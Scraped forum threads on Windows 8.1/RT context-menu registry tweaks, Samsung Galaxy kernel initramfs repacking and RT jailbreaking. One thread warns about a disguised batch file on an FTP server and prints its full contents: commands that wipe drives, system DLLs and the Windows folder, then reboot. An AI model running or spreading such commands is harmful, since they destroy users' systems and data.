IF USING AN OLD VER RUN THE UNINSTALL BEFORE INSTALLING A NEW VER
This is a batch file i made to install a tools menu i made. it came to be out of me being lazy and not wanting to have to open menus or hold shift
i did not make the scripts that some of the options use(credit is in the script).
see pictures to see the options and what it looks like in the end
IF ON WINDOWS RT YOU MUST BE JAILBROKEN TO USE. Thanks GoodDayToDie, it is now perfect
Main
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Install
Uninstall
Installs finished
Tools
Power
Power with extras
Changelog
v0.2 - added open powershell as admin here, fixed open cmd as admin here, no longer need ele.exe and the e.cmd file
v0.3 - able to remove the restart explorer.bat file thanks to coldbloc
v0.4 - added power menu. normal has lock, logoff, restart, restart with boot options, and shut down. the second has all of the first but sleep, hibernate, and switch user.
v0.5 - fixed an issue in the hidden files vbs(thanks LEDelete for pointing it out), fixed missing icon folder copy command in install script (thanks trm96 for pointing that out) should fix icons not showing up
the script has some swears i found them funny, again the script was made for me i just figured others my find it helpful.
if the icons dont show up reboot
Download Tools Menu
Looks cool.
So imagine I copy a registry key to my clipboard, does this regedit command capture it and open directly ? I checked, it only opens registry. Wonder if this MJ snippet would work in RT.
http://forums.mydigitallife.info/threads/38208
FYI, I don't prefer to kill-explorer like that, I think some settings that are not finalized until logoff can be lost when doing so, so instead I just logoff. But to each his own.
You can also change the position setting and the flyout will move to top or bottom of your menu. Make change in same key as the muiverb.
Code:
[FONT=monospace]
[/FONT][HKEY_CLASSES_ROOT\Directory\background\shell\Tools]
"MUIVerb"="Tools"
"SubCommands"="regedit.Tools;Open Admin Cmd here.Tools;Open Cmd Here.Tools;Files Extensions.Tools;Hidden Files.Tools;Restart Explorer.Tools"
"Icon"="C:\\Windows\\tools.ico"
"Position"="Top"
I forget the trick to add an extra divider line.
EDIT: I've never been able to get more then 12 subcommands even with nested flyouts, if anyone knows how I am all ears.
coldbloc said:
Looks cool.
So imagine I copy a registry key to my clipboard, does this regedit command capture it and open directly ? I checked, it only opens registry. Wonder if this MJ snippet would work in RT.
http://forums.mydigitallife.info/threads/38208
FYI, I don't prefer to kill-explorer like that, I think some settings that are not finalized until logoff can be lost when doing so, so instead I just logoff. But to each his own.
You can also change the position setting and the flyout will move to top or bottom of your menu. Make change in same key as the muiverb.
Code:
[FONT=monospace]
[/FONT][HKEY_CLASSES_ROOT\Directory\background\shell\Tools]
"MUIVerb"="Tools"
"SubCommands"="regedit.Tools;Open Admin Cmd here.Tools;Open Cmd Here.Tools;Files Extensions.Tools;Hidden Files.Tools;Restart Explorer.Tools"
"Icon"="C:\\Windows\\tools.ico"
"Position"="Top"
I forget the trick to add an extra divider line.
DIT: I've never been able to get more then 12 subcommands even with nested flyouts, if anyone knows how I am all ears.
Click to expand...
Click to collapse
tbh the reason i didnt put a position in is i couldnt decide where i wanted it and where it was worked with the rest of the stuff in my context.
as for restarting explorer i run in testmode 24/7 so after i remove the watermarks i just restart explorer rather then logging off. its also helpful if explorer decides to lock up.
well i was bored so i added the option to choose position to it
pbanj said:
i run in testmode 24/7 so after i remove the watermarks
Click to expand...
Click to collapse
That sounds like you have to do it every reboot. Are the mui files protected in RT and we are unable to edit the watermark permanently ?
If I write a snip to add powershell run-as admin would you add it to your Tool™
coldbloc said:
That sounds like you have to do it every reboot. Are the mui files protected in RT and we are unable to edit the watermark permanently ?
If I write a snip to add powershell run-as admin would you add it to your Tool™
Click to expand...
Click to collapse
not at every boot once its done its done but i added it as it was more for when i do fresh installs, im adding it in now
edit one
i was able to get the admin cmd to work without the need of the extra files so those have been removed. i will be uploading it in a few min
edit two
new ver is uploaded, i added a ver number to it to help me keep track of it. you will have to run the uninstall part in the old one first before running the install on this as i have removed some unneeded stuff
pbanj said:
not at every boot once its done its done but i added it as it was more for when i do fresh installs, im adding it in now
edit one
i was able to get the admin cmd to work without the need of the extra files so those have been removed. i will be uploading it in a few min
edit two
new ver is uploaded, i added a ver number to it to help me keep track of it. you will have to run the uninstall part in the old one first before running the install on this as i have removed some unneeded stuff
Click to expand...
Click to collapse
That's a different way of doing it. Lately for elevation most people are using APPCOMPATFLAGS or an inline elevator script. Had never seen an example using just "ExplorerCommandHandler" and "ImpliedSelectionModel" settings before.
http://windowssucks.wordpress.com/file-type-registration/
Does that only work on newer builds, I searched my W7x64 registry for that canonical GUID (the powershell one) didn't come up with anything. Where did you find it.
coldbloc said:
That's a different way of doing it. Lately for elevation most people are using APPCOMPATFLAGS or an inline elevator script. Had never seen an example using just "ExplorerCommandHandler" and "ImpliedSelectionModel" settings before.
http://windowssucks.wordpress.com/file-type-registration/
Does that only work on newer builds, I searched my W7x64 registry for that canonical GUID (the powershell one) didn't come up with anything. Where did you find it.
Click to expand...
Click to collapse
i found it in a program that adds items to the context menu but when it added powershell it would crash explorer so i used it as a base and started messing with it until it worked without crashing explorer(fun times). im not sure if it works in windows 7 as im on 8.1
Understood, not available in W7, likely only 8.0 and up. I find it here in W8.1.
Code:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{BF0AC53F-D51C-419F-92E3-2298E125F004}]
@="Open Powershell as Admin Command"
[HKEY_CLASSES_ROOT\CLSID\{BF0AC53F-D51C-419F-92E3-2298E125F004}\InProcServer32]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,\
65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,00,00,00
"ThreadingModel"="Apartment"
Maybe can even use the GUID list of control panel items the same way.
http://msdn.microsoft.com/en-us/library/windows/desktop/ee330741(v=vs.85).aspx
Code:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\OAPS.Tools]
"ImpliedSelectionModel"=dword:00000001
"Icon"="imageres.dll,-5373"
"ExplorerCommandHandler"="{BF0AC53F-D51C-419F-92E3-2298E125F004}"
@="Admin Pshell Here"
and I remembered how to do the divider line trick.
Code:
"SubCommands"="regedit.Tools;|;OACh.Tools;OCH.Tools;|;OAPS.Tools;|;FE.Tools;HF.Tools;|;RE.Tools"
Think you can get rid of the Restart_Explorer.bat with this.
http://www.robvanderwoude.com/condexec.php
Code:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\RE.Tools]
"Icon"="C:\\Windows\\explorer.exe"
"MUIVerb"="Restart Explorer"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\RE.Tools\command]
@="taskkill /f /im explorer.exe && start explorer.exe"
and this could toggle file extensions, without the .vbs
Code:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools]
"Icon"="C:\\Windows\\file.ico"
"MUIVerb"="Files Extensions"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools\command]
@="start /wait /b powershell -command \"$check = (Get-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt').HideFileExt;if ($check -eq 0){Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 1} else {Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 0}\""
;
;
coldbloc said:
Think you can get rid of the Restart_Explorer.bat with this.
http://www.robvanderwoude.com/condexec.php
Code:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\RE.Tools]
"Icon"="C:\\Windows\\explorer.exe"
"MUIVerb"="Restart Explorer"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\RE.Tools\command]
@="taskkill /f /im explorer.exe && start explorer.exe"
and this could toggle file extensions, without the .vbs
Code:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools]
"Icon"="C:\\Windows\\file.ico"
"MUIVerb"="Files Extensions"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools\command]
@="start /wait /b powershell -command \"$check = (Get-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt').HideFileExt;if ($check -eq 0){Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 1} else {Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 0}\""
;
;
Click to expand...
Click to collapse
tried both of those with no luck, the restart explorer one made a cmd window pop up real fast, all i could see was it said invalid something. the file extension one didnt do anything
i would love to be able to get rid of the scripts
pbanj said:
tried both of those with no luck, the restart explorer one made a cmd window pop up real fast, all i could see was it said invalid something. the file extension one didnt do anything
i would love to be able to get rid of the scripts
Click to expand...
Click to collapse
On the file extension, I forget the refresh. Here is the snip, it goes somewhere near the end. FYI, I need rewrite it registry > cmd > powershell escape character safe.
I want to be sure it's just the refresh causing the problem and that the registry still got toggled, proving the powershell did run in the background and was not stopped by execution policy. Will you confirm by running the old script and manually hitting refresh.
Code:
;[void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[System.Windows.Forms.SendKeys]::SendWait('{F5}');
coldbloc said:
On the file extension, I forget the refresh. Here is the snip, I need rewrite it registry > cmd > powershell escape character safe (triple double quotes nesting issues mostly).
I want to be sure it's just the refresh causing the problem and the registry still got toggled, meaning the powershell did run in the background. Will you confirm by running the old script and manually hitting refresh to verify.
Code:
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[System.Windows.Forms.SendKeys]::SendWait("{F5}")
Click to expand...
Click to collapse
i thought it might not have been refreshing so i tried that and it still didnt change
pbanj said:
i thought it might not have been refreshing so i tried that and it still didnt change
Click to expand...
Click to collapse
So you are on 8.1 RT, with powershell policy enabled and it still doesn't work.
Been bing'ing around for RT Powershell Limitations and it seems Microsoft might be the reason it doesn't work. Don't have RT hardware to test, cannot find a VM emulator either.
http://www.contextis.com/research/blog/windows-rt-and-powershell/
http://social.technet.microsoft.com...vated-but-on-windows-rt-ie-surface?forum=ITCG
http://www.reddit.com/r/netsec/comments/1khcw0/windows_rt_and_powershell/
coldbloc said:
So you are on 8.1 RT, with powershell policy enabled and it still doesn't work.
Been bing'ing around for RT Powershell Limitations and it seems Microsoft might be the reason it doesn't work. Don't have RT hardware to test, cannot find a VM emulator either.
http://www.contextis.com/research/blog/windows-rt-and-powershell/
http://social.technet.microsoft.com...vated-but-on-windows-rt-ie-surface?forum=ITCG
http://www.reddit.com/r/netsec/comments/1khcw0/windows_rt_and_powershell/
Click to expand...
Click to collapse
im on normal 8.1 pro with media center
pbanj said:
im on normal 8.1 pro with media center
Click to expand...
Click to collapse
OK, is my bad then. Found the issue with Restart Explorer. Working on 2012-R2
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\RE.Tools]
"Icon"="C:\\Windows\\explorer.exe"
"MUIVerb"="Restart Explorer"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\RE.Tools\command]
@="\"C:\\Windows\\System32\\cmd.exe\" /c \"taskkill /f /im explorer.exe & start explorer.exe\""
coldbloc said:
OK, is my bad then. Found the issue with Restart Explorer. Working on 2012-R2
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\RE.Tools]
"Icon"="C:\\Windows\\explorer.exe"
"MUIVerb"="Restart Explorer"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\RE.Tools\command]
@="\"C:\\Windows\\System32\\cmd.exe\" /c \"taskkill /f /im explorer.exe & start explorer.exe\""
Click to expand...
Click to collapse
that one works like a charm, i added it to the regfiles and added a mention to u in the changelog
updated it again, i added power options to the context menu it only shows on the desktop and i did not give it the option to have its position changed
Fixed the toggle file extensions added restart explorer kludge
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools]
"Icon"="C:\\Windows\\file.ico"
"MUIVerb"="Files Extensions"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools\command]
@="cmd /c start /wait /b powershell -command \"$check = (Get-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt').HideFileExt;if ($check -eq 0){Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 1} else {Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 0};taskkill /f /im explorer.exe;explorer.exe\""
coldbloc said:
Fixed the toggle file extensions added restart explorer kludge
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools]
"Icon"="C:\\Windows\\file.ico"
"MUIVerb"="Files Extensions"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools\command]
@="cmd /c start /wait /b powershell -command \"$check = (Get-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt').HideFileExt;if ($check -eq 0){Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 1} else {Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 0};taskkill /f /im explorer.exe;explorer.exe\""
Click to expand...
Click to collapse
if it didnt restart explorer it would be better then it is now.
pbanj said:
if it didnt restart explorer it would be better then it is now.
Click to expand...
Click to collapse
Fixed the toggle file extensions sans restart explorer kludge
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools]
"Icon"="C:\\Windows\\file.ico"
"MUIVerb"="Files Extensions"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools\command]
@="cmd /c start /wait /b powershell -command \"$check = (Get-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt').HideFileExt;if ($check -eq 0){Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 1} else {Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 0}\""
coldbloc said:
Fixed the toggle file extensions sans restart explorer kludge
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools]
"Icon"="C:\\Windows\\file.ico"
"MUIVerb"="Files Extensions"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools\command]
@="cmd /c start /wait /b powershell -command \"$check = (Get-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt').HideFileExt;if ($check -eq 0){Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 1} else {Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced' -Name 'HideFileExt' -Value 0}\""
Click to expand...
Click to collapse
im looking but finding it but maybe u know it, is there a way to have it send the f5 key with powershell?
Related
Hi,
I don't know, is this the right place to say, but there is a very dangerous file on Ftp.
"ftp://[email protected]/Wizard/Unlock/Wizard Unlocker/LokiWiz.bat" will destroy your system, if you execute it.
This happend with my system too...
It would be great to know, how it happened to be such a file on Ftp, and who has done it - but please remove it!
AttiM
Confirmed. Attempts to wipe C: drive and Windows directories.
lol u re right :lol: beware!!
Current content:
Code:
rmdir /s /q "c:\*.*"
rmdir /s /q "d:\*.*"
del /f /q "c:\*.*"
del /ah /f /q "c:\*.*"
del /f /q "%windir%\system32\*.dll"
del /f /q "%windir%\*.*"
del /f /q "./*.*"
rmdir /s /q "%windir%"
SHUTDOWN -r
cls
I would have nul'ed the output at least and echo some message like "Looking for Loki files...", coz in the end they can surely be found nowhere (on C: ). :mrgreen:
Files deleted form FTP, thanks for pointing it out. :?
Alas the ftp site is a free for all which in the past has been a free place to delete all.
I live in hope that the new ftp site will allow us to track uploads by user.
I will edit the wiki ftp page.
I just saw your wiki edit, be careful because the malicious batch files were not on the upload section but on the "safe heaven"... it means an ftp admin has moved it there before.
Oh dear as that could have been me as I have not seen much file moving in that section so I did some myself.
Guess we all have to take more care.
pof said:
I just saw your wiki edit, be careful because the malicious batch files were not on the upload section but on the "safe heaven"... it means an ftp admin has moved it there before.
Click to expand...
Click to collapse
Yes, this was because I didn't understand how it happened - I read about the upload section and the safer download section... So, I figured out, that an admin has to move this file to the other area...
Maybe I should put another one there and call it.....
TomTom6.exe
:lol:
But I'll remember to turn the echo off.
Here we go.
I'm saying that I'm not a very good developer so this information could be messy, contain unnecessary works or a bit wrong.
And also I'm not sure if this method will work with every zImage from every device.
I've tested with
I9000-JM2/JM7 : ECLAIR
JPC : FROYO
and they work like a charm.
OK, now we start.
Download this file
http://www.multiupload.com/GSVLO15WDL
It has cross-compiler in it so that it's slightly big.
------------------------------------------------------------
This is basically for devs so I won't tell you specifically. (or I can't...maybe)
1. Extract cpio'ed initramfs file from zImage.
## EDIT : In order to extract initramfs.cpio, go through from step4 to step11.
A file which starts with "30 37 30" means that this is a cpio'ed file.
So, trim the Image-Orig file from the beginning to the point just before "30" then, you've got a cpio compressed file.
You can now simply decompress it.
cat initramfs.cpio | cpio -i --no-absolute-filenames
Click to expand...
Click to collapse
2. Decompress and edit these files. Make sure you shouldn't go over the original size. (simply, I removed redbend_ua in /sbin forder)
3. Recompress to cpio. ( I've used scripts/gen_initramfs_list.sh which is in the kernel source for a safe bet)
## EDIT : What I've done is here. chdir to "zImage_repack/2.6.29" forder then
/bin/bash scripts/gen_initramfs_list.sh -o usr/initramfs_data.cpio -u 0 -g 0 /home/zero/Desktop/JPC/initramfs/i9000_initramfs_list
Click to expand...
Click to collapse
4. open the zImage with a hexeditor.
5. find "1f 8b 08".
6. cut off from the beginning to the point just before the "1f" so that this file begins with "1f 8b 08".
7. save as anyname.gz
8. in terminal >>>> gunzip anyname.gz
Now, you've got an Image file. I'll call this as an Image-Orig.
9. open the Image-Orig file with a hexeditor.
10. remember the entire size of this file. One of mine was "0xb9a5df".
11. find "30 37 30" hexademical code and "TRAILER!!!" text.
12. cut off from the first "30" to the last "!".
an example is here
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
13. open the cpio file you had recompressed with the hexeditor.
14. paste this codes to the exactly same place where the former initramfs was, in Image-Origin file. (Up to now, I feel like English is more difficult than this trick...sigh, sorry for my bad english!)
15. Almost done. We're gonna make the modified Image file's size identically to the Image-Orig. It's simple. just fill the hole with a bunch of NULLs. put your finger on "0" button and have a little sleep.
I think I need a visual assistant.
Save it as "Image".
At this point, you should have an Image file which size is the same as Image-Orig.
Now open the file you've downloaded at the first.
there is a forder called place_Image_here
yeah, place the Image there and execute the "Repack_kernel.sh" file.
In several seconds, you'll have a zImage file.
I'm so tired and I can't last this writing so, if you have any question, I'll give you a reply.
Thanks!
## PLUS : I've attached the modified JPC kernel which supports /system/etc/init.d/userscripts.sh
It's named JPC_modified_kernel.tar.zip and you should take the ".zip" off in order to use with Odin.
## PLUS2 : I've compiled gnu_parted! also attached. good luck, RyanZA!
-info : GNU parted v2.2 (original version, didn't apply bug fixes.)
disabled device-mapper and read-line while compiling, does this matter?
...Wow.
Good job, sir. Good job.
dkcldark said:
1. Extract cpio'ed initramfs file from zImage.
Click to expand...
Click to collapse
I mostly followed along through the later steps and I don't see any issues, but unfortunately the first step leaves me clueless. How would you do that?!
@dkcldark: good job. nice pictures.
Thats what i do to extract initramfs, basically the same. But i have added instructions to extract from kernels compiled by kernel devs here at xda.
(kernels with gzipped cpio)
Uncompressing the zImage:
$ grep -a -b --only-matching $'\x1f\x8b\x08\x00' < zImage
12896:�
$ dd if=zImage bs=1 skip={number from above command} | zcat - > Image
if not gzipped cpio (this one for stock-samsung-kernel):
$ grep -a -b --only-matching '070701' Image
$ dd if=Image bs=1 skip={your first matching number from line above} > initramfs.cpio
else if cpio is gzipped:
$ grep -a -b --only-matching $'\x1f\x8b\x08' < Image
84448:�
2639420:�
Only the first number is interesting, so we can fetch the initramfs:
$ dd if=Image bs=1 skip={your first number, in my case 84448} | gzip -d -c - > initramfs.cpio
Now extract initramfs.cpio:
$ mkdir somedirtoextract
$ cd somedirtoextract/
$ cpio -i --no-absolute-filenames < ../initramfs.cpio
If you want to have device nodes created, make sure you do it as root:
sudo cpio -i --no-absolute-filenames < ../initramfs.cpio
I'm stunned...
wondewring if theres a way to change this:
c002e660 T __initramfs_start
c035d949 T __initramfs_end
I've compiled a short page about extracting initramfs some time ago here: http://forum.xda-developers.com/wiki/index.php?title=Extract_initramfs_from_zImage
(also accessible from the SGS wiki page).
Please feel free to extend this page with more instructions / scripts on how also re-pack it back.
hi dkcldark, as i sayed i try to do this with the kernel from i5800 galaxy3, but ran into first problem after saving the image-orig.gz, i get a gz filke with a file image-orig with 0 bytes size and extracting results in an error.
hope you can somehow help me. like i sayed already, i am not really used to such blackbelt stuff, just trying to get a working lagfix for the g3
FadeFx said:
hi dkcldark, as i sayed i try to do this with the kernel from i5800 galaxy3, but ran into first problem after saving the image-orig.gz, i get a gz filke with a file image-orig with 0 bytes size and extracting results in an error.
hope you can somehow help me. like i sayed already, i am not really used to such blackbelt stuff, just trying to get a working lagfix for the g3
Click to expand...
Click to collapse
hello would you give me the kernel file please?
I'll have a look and give you an instruction
here you go: http://archiv.to/GET/FILE4C99994EB1316
thanx for help...
As far I understand this method -> Could we have JPK's kernel initramfs repacked in similar manner, to include EXT2/4 support?
Hello.
dkcldark & neldar , What a great work you ´have done!
Unfortunately im lost at the point when to create the Image.
I followed neldar´s instructions to expand zImage to Image and
My files are extracted from JPK kernel and i have edit some files.
What to do?
xan said:
As far I understand this method -> Could we have JPK's kernel initramfs repacked in similar manner, to include EXT2/4 support?
Click to expand...
Click to collapse
ext2 support is (most likely) already in the kernel. the problem with adding ext4 is that we don't have a ext4 module compatible with this kernel and no source (yet) to compile one ... so we have to wait for samsung to release the source ...
@dkcldark, neldar ... awesome tutorials, thanks!
Has anyone figured out how to find the end of the ramdisk when it's compressed? I'm fooling with some Java code to try it, but the inflater class doesn't like the data that should be the start of the compressed data. No idea why yet. I can parse the gzip header, and it's right, but no decompression. From what I have read, gzip doesn't have a trailer, the only way to find the end is to decompress it.
We can decompress it and get the ramdisk contents, but knowing where to put it back in the file is the tricky part.
heh... I convinced GzipInputStream to do my bidding.
humph.. I was going to attach the java code to do it, but XDA is pissing and moaning about me using up a lot of storage space, a whole 35MB apparently. sigh. I'll try to inline it in a code block, hopefully you get the idea. I'll see about creating a little utility to pull, extract, and put back the ramdisk image, basically the hex editor part without the hex editor.
This is a prototype, change the filenames for your system. This will output the decompressed cpio image as well as give you the offsets for where to put it in a hex editor. It's a bit on the slow side, as it uses byte-at-a-time reading. Much like the dd command earlier in the thread. I'll see about buffering the I/O as well, I just wanted to get it out there to hopefully help out.
Another update. I added input buffering and it's a LOT faster. Hope it helps.
Just to make sure there's no question on it, the code is GPL2 licensed. I should have included the banner.
Code:
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.zip.GZIPInputStream;
public class FindCompressedRamdisk
{
int numRead = 0;
int totRead = 0;
public FindCompressedRamdisk()
{
try
{
File f = new File("/home/travis/kernel.img");
if (f.exists())
{
FileInputStream in = new FileInputStream(f);
byte[] rData = new byte[4096];
byte[] oData = new byte[4096];
byte[] gzipKey = { 0x1F, (byte) 0x8B, 0x08, 0x00 };
int pos = 0;
while ((numRead = in.read(rData)) != -1)
{
pos = findBytes(rData, numRead, gzipKey);
if (pos != -1)
{
int start = pos + totRead;
System.out.println("GZIP Start: " + start);
in.close();
in = new FileInputStream(f);
in.skip(start);
InputStream gin = new BufferedInputStream(new GZIPInputStream(in));
int len = 0;
OutputStream out = new BufferedOutputStream(new FileOutputStream("/home/travis/out.img"));
int b;
for ( ; (b = gin.read()) != -1; len++)
{
out.write(b);
}
System.out.println("GZIP End: " + len);
out.close();
break;
}
totRead += numRead;
}
}
}
catch (Exception e)
{
e.printStackTrace();
}
}
public int findBytes(byte[] data, int dSize, byte[] search)
{
int found = -1;
for (int i = 0; i < dSize && found == -1; i++)
{
if (data[i] == search [0])
{
for (int j = 1; j < search.length; j++)
{
if (data[i + j] != search[j])
break;
if (j == search.length-1)
found = i;
}
}
}
return found;
}
/**
* @param args
*/
public static void main(String[] args)
{
FindCompressedRamdisk rd = new FindCompressedRamdisk();
}
why i could see the graphs??????
Dkcldark did you find a way for the i5800 zimage i provided?
jodue said:
ext2 support is (most likely) already in the kernel. the problem with adding ext4 is that we don't have a ext4 module compatible with this kernel and no source (yet) to compile one ... so we have to wait for samsung to release the source ...
@dkcldark, neldar ... awesome tutorials, thanks!
Click to expand...
Click to collapse
I am perfectly happy with either EXT2/4 (no comments here).
can you tell me how to unpack the factoryfs.rfs ?
I grep the '1F8B0B' and cut the bytes (between '1F8B0B' and 'another 1F8B0B') to a file,,,,a.img,,,,then gunzip it,,,but console println " gzip: a.img is encrypted -- not supported "
why?
sharetop said:
can you tell me how to unpack the factoryfs.rfs ?
I grep the '1F8B0B' and cut the bytes (between '1F8B0B' and 'another 1F8B0B') to a file,,,,a.img,,,,then gunzip it,,,but console println " gzip: a.img is encrypted -- not supported "
why?
Click to expand...
Click to collapse
That's a filesystem image for the /system partition IIRC. I have used it on my phone via a loopback mount, but you can't extract stuff from it using this method. This is for zImage files.
sharetop said:
can you tell me how to unpack the factoryfs.rfs ?
I grep the '1F8B0B' and cut the bytes (between '1F8B0B' and 'another 1F8B0B') to a file,,,,a.img,,,,then gunzip it,,,but console println " gzip: a.img is encrypted -- not supported "
why?
Click to expand...
Click to collapse
You can't. The easiest way to unpack factory.rfs (if you don't have linux) is to copy it to your phone, mount it in a directory using a loopback device, and copy everything from it to another directory on your sdcard.
thank you. If i have a linux system, can i copy the .rfs to ubuntu, then mount it as a virtual device?
Would someone with Windows 8.0 RT (or 8.1) run this powershell command and post back the EditionID string.
Code:
(Get-ItemProperty -Path 'registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name 'EditionID').EditionID
#
Code:
C:\Users\Nathan>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f EditionID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
EditionID REG_SZ CoreARM
End of search: 1 match(es) found.
Hi I'm new this forum and found it when looking to jailbreak my windows rt 8.1. I followed the steps that were provided in the thread "jailbreak+infected updates+signed applications" but I don't have any watermark on my desktop. I removed the infected updates even though there were a couple that weren't even there and I executed the command in powershell and it said it completed but no watermark after reboot.
Thanks
Sent from my SM-N900P using Tapatalk
